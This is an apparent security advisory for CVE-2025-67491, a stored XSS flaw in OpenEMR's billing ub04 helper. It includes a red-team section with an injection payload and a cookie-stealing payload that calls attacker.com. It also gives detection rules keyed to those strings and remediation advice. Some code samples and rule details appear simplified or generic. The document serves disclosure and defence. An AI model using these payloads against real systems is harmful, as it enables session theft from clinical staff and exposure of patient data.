CVE-2025-67491
Executive Summary
CVE-2025-67491 is a stored cross-site scripting (XSS) vulnerability in OpenEMR, a widely used open-source electronic health records and medical practice management application. The flaw exists in the ub04 helper of the billing interface, affecting versions 5.0.0.5 through 7.0.3.4. The vulnerability allows a low-privileged authenticated user to inject malicious JavaScript payloads that are stored on the server and executed in the context of other users, including administrators. This can lead to session theft, unauthorized actions, and potential data breaches. The issue is patched in version 7.0.4.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
OpenEMR is a PHP-based application distributed as a complete package. The vulnerability is in the core application code, not in a third-party library. However, the use of json_encode without proper escaping in an HTML event handler context is a common pitfall. The application does not rely on NPM, PyPI, Go, or Ruby packages for this functionality.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: Required (victim must click the affected element)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low (session cookie theft)
- Integrity Impact: Low (malicious actions on behalf of victim)
- Availability Impact: None
Threat Level: Medium. The vulnerability requires authentication and user interaction, but the potential for privilege escalation and data theft makes it significant in a healthcare context.
Deep Dive & Mechanics
The vulnerability resides in the ub04 helper of the billing interface. The $data variable is passed directly into a JavaScript click event handler enclosed in single quotes. While json_encode is used, it does not escape single quotes or HTML entities in a way that prevents XSS in this context. An attacker can inject a payload like ac' ><img src=x onerror=alert(document.cookie)> to break out of the single-quoted string and execute arbitrary JavaScript.
The stored nature of the XSS means the payload is saved in the database and executed whenever an administrator or other user views the affected billing page. This allows the attacker to steal session cookies and perform actions with the victim's privileges.
Vulnerable vs. Patched Code
Vulnerable Code (version < 7.0.4):
// In ub04 helper
$data = json_encode($someData);
echo "<a href='#' onclick='doSomething(\"$data\");'>Click</a>";
The $data is not sanitized for HTML context, allowing injection.
Patched Code (version 7.0.4):
// In ub04 helper
$data = json_encode($someData);
$data = htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
echo "<a href='#' onclick='doSomething(\"$data\");'>Click</a>";
The htmlspecialchars function with ENT_QUOTES escapes single and double quotes, preventing XSS.
Exploitation & Lab Setup
Red Team
Prerequisites:
- OpenEMR instance (version 5.0.0.5 to 7.0.3.4)
- Low-privileged user account (e.g., billing clerk)
Exploit Steps:
- Log in as a low-privileged user.
- Navigate to the billing interface and find the ub04 helper form.
- Inject the following payload into a field that is stored and later displayed in the ub04 helper:
ac' ><img src=x onerror=alert(document.cookie)> - Submit the form. The payload is stored in the database.
- When an administrator views the billing page, the JavaScript executes, stealing their session cookie.
Example Payload for Session Theft:
ac' ><img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
Blue Team
Detection:
- Monitor for unusual billing form submissions containing single quotes, HTML tags, or JavaScript event handlers.
- Look for outbound connections to unknown domains from the OpenEMR server.
- Review logs for
onerror,onload, oronclickattributes in stored data.
Hunting:
- Search the database for patterns like
ac' ><img src=x onerror=in billing-related tables. - Use web application firewall (WAF) rules to block common XSS payloads in billing fields.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains from the OpenEMR server.
- File: Modified or new entries in the database containing XSS payloads in billing fields.
- Log: Web server logs showing requests with
ac' ><img src=x onerror=or similar patterns. - Session: Unexpected session cookie values or multiple sessions from the same IP.
Detection Engineering
YARA Rule
rule CVE_2025_67491_OpenEMR_XSS {
meta:
description = "Detects stored XSS payload in OpenEMR ub04 helper"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67491"
strings:
$xss1 = /ac' ><img src=x onerror=/
$xss2 = /onerror=alert\(document\.cookie\)/
$xss3 = /onerror=fetch\(/
condition:
any of them
}
Sigma Rule
title: OpenEMR Stored XSS in ub04 Helper
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payload in OpenEMR billing interface
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: "/billing/"
cs-method: "POST"
cs-uri-query|contains: "ac' ><img src=x onerror="
condition: selection
falsepositives:
- Legitimate use of similar patterns (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-67491 OpenEMR Stored XSS Attempt"; flow:to_server,established; content:"ac' ><img src=x onerror="; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade OpenEMR to version 7.0.4 or later.
- If upgrade is not possible, apply the patch that adds
htmlspecialcharsto the$datavariable in the ub04 helper.
Compensating Controls:
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads in billing fields.
- Restrict access to the billing interface to only trusted users.
- Enable Content Security Policy (CSP) headers to mitigate XSS impact.
- Regularly audit database entries for malicious content.
Long-term:
- Conduct code reviews for similar patterns in other parts of the application.
- Use output encoding functions consistently in all user-facing contexts.
Valters IT
Securing Healthcare, One Patch at a Time